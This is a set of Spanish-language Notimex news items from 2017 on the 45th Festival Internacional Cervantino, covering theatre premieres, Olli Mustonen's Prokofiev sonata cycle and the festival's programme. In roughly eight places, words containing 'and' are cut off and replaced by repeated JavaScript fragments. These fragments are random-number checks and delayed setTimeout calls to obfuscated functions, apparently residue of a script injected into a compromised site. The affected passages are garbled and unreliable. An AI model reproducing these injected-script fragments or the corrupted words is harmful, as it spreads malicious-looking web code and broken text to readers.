Por su parte, Francisco Granados y Alan España presentarán “Coronel Amelio y las míticas, místicas, mitoteras”, en las Catacumbas del Mesón de San Antonio, los días 20 y 21 de octubre.

Es un espectáculo de cabaret sobre el Coronel Amelio Robles, el primer hombre transgénero reconocido por el estado. Él nació como una mujer, y la historia trata de esta niña que se une a la revolución y en el camino termina convirtiéndose en el Coronel Amelio.

“Hacemos una crítica sobre el machismo y el papel que todavía sigue desempeñandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o la mujer y las cuestiones de género, para nosotros es muy importante hablar no solo de la identidad de género, sino de la identidad nacional, por eso quisimos retomar un poco el teatro de carpa con música y baile”, apuntó Granados.

Por último, el director Bernardo Gamboa, adelantó los pormenores de la obra “San Nonaka”, a cargo de la compañía Bola de Carne, que estará en el escenario público de la Plaza San Roque y en la Plaza Principal de León, los días 20 y 21 de octubre, respectivamente.

El montaje relata la vida de Kingo Nonaka, un ciudadano japonés que tiene múltiples experiencias en México, sea como buzo, recolector de café, enfermero de Francisco I. Madero, fotógrafo y militar condecorado.

La obra cuenta la complicada historia de un hombre que se desempeñó como buceador especializado en perlas, más por la belleza y el placer de hacerlo que por el resultado económico, viajó a México para recolectar café en Chiapas y Oaxaca.

Finalmente, los organizadores señalaron que las obras se presentarán en los foros del Cenart: “Escuadrón justicia. La nueva utopía”, en la Plaza de la Danza, el 12 de octubre; “La descarga aún no se ha completado”, en el Foro de las Artes, el 13 de octubre.

“Coronel Amelio y las míticas, místicas, mitoteras”, en el Foro de las Artes, el 14 de octubre; “Lobata…Teatro experimental para niños revolucionarios”, en el Foro de las Artes y “San Nonaka”, en la Plaza de las Artes, ambas el 15 de octubre.

Fuente: Notimex


Llegan al Cervantino las nueve sonatas para piano de Prokofiev

28 agosto, 2017

México. Como un reflejo de su niñez, adolescencia y madurez, pero también del lado oscuro de la guerra, fueron calificadas las nueve sonatas para piano del ruso Sergei Prokofiev por el pianista finlandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}és Olli Mustonen, quien las interpretará los días 13 y 14 de octubre en el Templo de la Valenciana, en el marco del Festival Internacional Cervantino (FIC).

El músico, quien es considerado uno de los más consolidados exponentes de la música del compositor ruso, habló sobre las piezas, a las que considera “de la mejor música para piano del siglo XX”, y cuya vigencia, dice, se mantiene inalterable.

“Es un proyecto ambicioso tocar las nueve sonatas en dos conciertos porque son diferentes y atraviesan toda la vida del compositor ruso Prokofiev, desde que era un estudiante hasta convertirse en un músico maduro.

“En ellas no sólo se reflejan los horrores de la guerra sino también aspectos de su vida, porque Prokofiev escribió mucho sobre su vida y eso es interesante para musicólogos e historiadores, porque no sólo escribió en diario, sino una autobiografía, lo cual no es común en los compositores y eso da mucha información respecto a que la música se conectaba con los eventos de su vida”, indicó.

Según el pianista, Prokoviev tuvo una infancia feliz, con mucho amor de su familia y padres, y ello es evidente en las primeras sonatas; no así en las últimas donde se escucha una música melancólica, triste y que refleja los horrores de la guerra.

“Tuvo una conexión fuerte con su país, siempre fue optimista, aún en épocas difíciles como la Revolución y luego del régimen de Stalin. La ironía es que murió el mismo día que Stalin y ni si quiera había flores suficientes en su funeral porque todas se fueron para el dictador”, subrayó el finlandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}és.

Las sonatas que interpretará son prueba de las innovaciones estructurales y armónicas que Segei Prokofiev realizó en sus composiciones, por la necesidad de expresar su temor y angustia ante los tiempos bélicos y represivos que le tocó vivir.

Durante sus años de preparación académica, aún en la Unión Soviética, Prokofiev compuso sus primeras sontas para piano, en las que ya comenzaba a distinguir su sello musical del de sus colegas que se guiaban por el estilo nacionalista, diferencia por la que fue criticado como anticomunista y se vio obligado a dejar su país.

Después de pasar años en Estados Unidos y Europa Occidental regresó a la URSS, y fue allí donde nacieron la sexta, séptima y octava sonata, una trilogía conocida como “Sonatas de la Guerra”, pues fueron escritas durante la Segunda Guerra Mundial (1939-1944).

De acuerdo con el pianista finlandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}és, las nueve sonatas, compuestas entre 1909 y 1947, son “una especie de cuentos que atraviesan la vida del compositor, una autobiografía musical”.

Ollin señaló que a 70 años de la última puesta, se trata de música moderna, a diferencia de mucha música actual que se compone y casi enseguida ya está muerta. “Los grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}es compositores siguen vivos y como Prokofiev, es como respirar aire fresco”, concluyó Ollin.

Fuente: Notimex


Esperan dos mil 500 artistas en edición 45 del Cervantino

12 julio, 2017

México. La edición 45 del Festival Internacional Cervantino (FIC) se desarrollará del 11 al 29 de octubre entrante, con dos mil 500 artistas provenientes de 35 países, quienes ofrecerán 180 espectáculos en Guanajuato y 20 estados más, informó María Cristina García Cepeda, secretaria de Cultura nacional y Marcela Diez, titular del evento. 

Con Francia y el Estado de México como país y estado invitados de Honor, el 45 FIC, que este año cuenta con un presupuesto federal de 88 millones de pesos, se diseñó sobre tres ejes temáticos: Revolución Rusa, Constitución Mexicana y Revoluciones. La Fiesta del espíritu incluye teatro, danza, música, artes visuales, cine, actividades académicas y más.

En el acto, celebrado en el Palacio de Bellas Artes, García Cepeda recordó que en 1953 el maestro Enrique Ruelas inició en Guanajuato capital los Entremeses Cervantinos que a partir de 1972 se transformaron en el Festival Internacional que a la fecha ha presentado a 112 mil creadores y artistas para deleite de 22.5 millones de asistentes, en sus 44 ediciones anteriores.

Explicó que el FIC se ha convertido en un “acontecimiento de la cultura mundial”, que este año presenta los más amplios horizontes de Francia, y subrayó que con este festival se refrenda el compromiso del presidente Enrique Peña Nieto para que la cultura se extienda y forme parte de la vida diaria de todos los mexicanos, sin distingos.

La responsable de la política cultural del país añadió que al mismo tiempo, el deseo del Ejecutivo es mostrar que la cultura tiende puentes, por lo que además de Guanajuato, 20 estados del país van a poder disfrutar y conocer la programación del FIC, de manera gratuita, a través de pantallas gigantes colocadas en sitio estratégicos.

En el acto, Lidia Camacho, directora del Instituto Nacional de Bellas Artes (INBA), dijo que el FIC “promueve las más altas manifestaciones del arte y la cultura”, y celebró que Francia y Estado de México sean los invitados de honor. En tanto, la embajadora de Francia en México, Anne Grillo, adelantó algo de lo que presentarán.

Anotó que para su nación es un gran placer su amistad con México y aseguró que la relación entre ambos países “atraviesa por uno de sus mejores momentos”. Esa gran camaradería, dijo, “es fuerte e inalterable y entre los retos que enfrentan juntos, está la difusión de la cultura, que es el acelerador en todos los ámbitos del quehacer humano”.

Para la cultura francesa, abundó en sus declaraciones, el FIC es una “oportunidad única para presentar en México las artes que le dan identidad ante el mundo”. Al respecto, la embajadora expresó emocionada que “este festival de carácter internacional es una piedra más que se coloca en el gran edificio que México y Francia construyen de manera unida”.

Eduardo Gazca, secretario de Cultura del Estado de México, dijo en su oportunidad que para esa entidad, cuna del Rey Poeta Nezahualcóyotl, de la Décima Musa Sor Juana Inés de la Cruz, y del paisajista José María Velasco, es de capital importancia tomar parte en el FIC, por lo que prometió grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}es espectáculos y otras manifestaciones de su cultura.

Marcela Diez Martínez, directora del FIC, así como de Promoción y Festivales Culturales del gobierno federal, destacó que la realización de este encuentro es resultado de un esfuerzo conjunto, ejemplo de entendimiento institucional. “Son 45 años de trabajo que han construido el mejor festival del país y uno de los mejores del mundo”.

Este año se buscó un balance en la programación del festival y, en ese contexto, Juan Alcocer, director del Instituto de Cultura de Guanajuato, dijo que está listo para dar la bienvenida a creadores y participantes del FIC. “Guanajuato se alista para ser escenario del mundo y aporta 1022 artistas locales en música, teatro, danza, y artes visuales”, dijo.

El FIC cumple con un compromiso que permea a la sociedad en su conjunto, a través de los programas “Cervantino incluyente”, “Cervantino en tu comunidad” y “Formación de públicos”, así como “Academia Cervantina” y “Cervantino para todos” que atienden la formación de nuevos valores artísticos y a la población en condiciones de vulnerabilidad.

Alemania, Argentina, Austria, Bélgica, Camerún, Canadá, Chile, Colombia, Cuba, Dinamarca, Eslovaquia, España, Estados Unidos, Finlandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ia, Francia, Ghana, Grecia, Guinea, Hungría, India, Islandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ia, Israel, Italia, Kazajistán, Mozambique, Quebec, Reino Unido, Estonia, república de Tuvá, China, Rusia y Venezuela son algunos países participantes.

Fuente: Notimex